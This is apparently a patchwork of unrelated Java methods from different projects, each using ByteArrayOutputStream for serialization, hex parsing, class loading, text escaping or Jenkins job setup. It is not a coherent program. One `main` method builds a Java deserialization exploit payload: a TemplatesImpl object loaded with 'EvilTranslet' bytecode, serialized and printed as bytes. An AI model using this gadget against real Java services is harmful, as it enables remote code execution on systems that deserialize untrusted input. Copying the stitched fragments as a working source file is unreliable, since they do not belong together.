/** * Serializes the passed object to a byte array, returning a zero byte array if the passed object * is null, or fails serialization * * @param arg The object to serialize * @return the serialized object */ public static byte[] serializeNoCompress(Object arg) { if (arg == null) return new byte[] {}; ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = null; try { oos = new ObjectOutputStream(baos); oos.writeObject(arg); oos.flush(); baos.flush(); return baos.toByteArray(); } catch (Exception ex) { return new byte[] {}; } finally { try { baos.close(); } catch (Exception ex) { /* No Op */ } if (oos != null) try { oos.close(); } catch (Exception ex) { /* No Op */ } } }
public static byte[] parse(String s) { if (s.equals("(null)")) { return null; } try { int n = s.length(); ByteArrayOutputStream out = new ByteArrayOutputStream(n / 3); StringReader r = new StringReader(s); while (true) { int b1 = nextNibble(r); if (b1 < 0) { break; } int b2 = nextNibble(r); if (b2 < 0) { throw new RuntimeException("Invalid string " + s); } int b = (b1 << 4) | b2; out.write(b); } return out.toByteArray(); } catch (IOException e) { throw new RuntimeException(e); } }
private Class<?> getClassFromStream( final InputStream stream, final String classname, final File container) throws IOException, SecurityException { final ByteArrayOutputStream baos = new ByteArrayOutputStream(); int bytesRead = -1; final byte[] buffer = new byte[8192]; while ((bytesRead = stream.read(buffer, 0, 8192)) != -1) { baos.write(buffer, 0, bytesRead); } final byte[] classData = baos.toByteArray(); return this.defineClassFromData(container, classData, classname); }
/** Converts a String into a byte array. */ protected static byte[] byteArrayFromString(String s) throws TextParseException { byte[] array = s.getBytes(); boolean escaped = false; boolean hasEscapes = false; for (int i = 0; i < array.length; i++) { if (array[i] == '\\') { hasEscapes = true; break; } } if (!hasEscapes) { if (array.length > 255) { throw new TextParseException("text string too long"); } return array; } ByteArrayOutputStream os = new ByteArrayOutputStream(); int digits = 0; int intval = 0; for (int i = 0; i < array.length; i++) { byte b = array[i]; if (escaped) { if (b >= '0' && b <= '9' && digits < 3) { digits++; intval *= 10; intval += (b - '0'); if (intval > 255) throw new TextParseException("bad escape"); if (digits < 3) continue; b = (byte) intval; } else if (digits > 0 && digits < 3) throw new TextParseException("bad escape"); os.write(b); escaped = false; } else if (array[i] == '\\') { escaped = true; digits = 0; intval = 0; } else os.write(array[i]); } if (digits > 0 && digits < 3) throw new TextParseException("bad escape"); array = os.toByteArray(); if (array.length > 255) { throw new TextParseException("text string too long"); } return os.toByteArray(); }
private String getHPubAccessHandleString() { byte[] data = null; ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = null; try { oos = new ObjectOutputStream(baos); oos.writeObject(hPubAccessHandle); oos.flush(); data = baos.toByteArray(); } catch (IOException ioe) { System.out.println("Exception AccessEJBTemplate::getHPubAccessHandleString"); } sun.misc.BASE64Encoder encoder = new sun.misc.BASE64Encoder(); String encoded = encoder.encodeBuffer(data); return encoded; }
public static void main(String[] args) throws Exception { FileInputStream fis = new FileInputStream("t.ser"); ObjectInputStream ois = new ObjectInputStream(fis); Constructor templateCtor = com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.class .getDeclaredConstructors()[2]; templateCtor.setAccessible(true); System.out.println(templateCtor); byte[] newByteCode = getBytes("EvilTranslet.class"); byte[] helper = getBytes("EvilTranslet$1.class"); com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl template = (com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl) templateCtor.newInstance( new byte[][] {newByteCode, helper}, "GregorSamsor", null, 0, new com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl()); // writeField(template, "_bytecodes", new byte[][]{newByteCode, helper}); System.out.println(template); ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bos); oos.writeObject(template); byte[] bytes = bos.toByteArray(); System.out.print("{"); for (int i = 0; i < bytes.length; ++i) { System.out.print(bytes[i]); System.out.print(","); } System.out.println("}"); }
public byte[] getBytes(String className) { try { Tracer.mark(); String realName = className.replace(".", "/"); realName += ".class"; JarEntry je = jf.getJarEntry(realName); InputStream is = jf.getInputStream(je); ByteArrayOutputStream baos = new ByteArrayOutputStream(); byte[] buff = new byte[4096]; while (is.available() > 0) { int read = is.read(buff); baos.write(buff, 0, read); } is.close(); return baos.toByteArray(); } catch (Exception e) { } finally { Tracer.unmark(); } return null; }
/** * Serializes an array of invocation arguments to a byte array * * @param args The arguments to marshall * @return a byte array */ public static byte[] getOutput(Object... args) { if (args == null || args.length == 0) return new byte[] {}; ByteArrayOutputStream baos = new ByteArrayOutputStream(); GZIPOutputStream gzos = null; ObjectOutputStream oos = null; try { gzos = new GZIPOutputStream(baos); oos = new ObjectOutputStream(gzos); oos.writeObject(args); oos.flush(); gzos.finish(); gzos.flush(); baos.flush(); return baos.toByteArray(); } catch (Exception ex) { throw new RuntimeException( "Failed to encode MBeanServerConnection Invocation arguments " + Arrays.toString(args), ex); } finally { try { baos.close(); } catch (Exception ex) { /* No Op */ } if (oos != null) try { oos.close(); } catch (Exception ex) { /* No Op */ } if (gzos != null) try { gzos.close(); } catch (Exception ex) { /* No Op */ } } }
private CIJobStatus configureJob(CIJob job, String jobType) throws PhrescoException { if (debugEnabled) { S_LOGGER.debug("Entering Method CIManagerImpl.createJob(CIJob job)"); } try { cli = getCLI(job); List<String> argList = new ArrayList<String>(); argList.add(jobType); argList.add(job.getName()); String jenkinsTemplateDir = Utility.getJenkinsTemplateDir(); String configFilePath = jenkinsTemplateDir + job.getRepoType() + HYPHEN + CONFIG_XML; if (debugEnabled) { S_LOGGER.debug("configFilePath ... " + configFilePath); } File configFile = new File(configFilePath); ConfigProcessor processor = new ConfigProcessor(configFile); customizeNodes(processor, job); ByteArrayOutputStream baos = new ByteArrayOutputStream(); if (debugEnabled) { S_LOGGER.debug("argList " + argList.toString()); } int result = cli.execute(argList, processor.getConfigAsStream(), System.out, baos); String message = "Job created successfully"; if (result == -1) { byte[] byteArray = baos.toByteArray(); message = new String(byteArray); } if (debugEnabled) { S_LOGGER.debug("message " + message); } // when svn is selected credential value has to set if (SVN.equals(job.getRepoType())) { setSvnCredential(job); } setMailCredential(job); return new CIJobStatus(result, message); } catch (IOException e) { throw new PhrescoException(e); } catch (JDOMException e) { throw new PhrescoException(e); } finally { if (cli != null) { try { cli.close(); } catch (IOException e) { if (debugEnabled) { S_LOGGER.error(e.getLocalizedMessage()); } } catch (InterruptedException e) { if (debugEnabled) { S_LOGGER.error(e.getLocalizedMessage()); } } } } }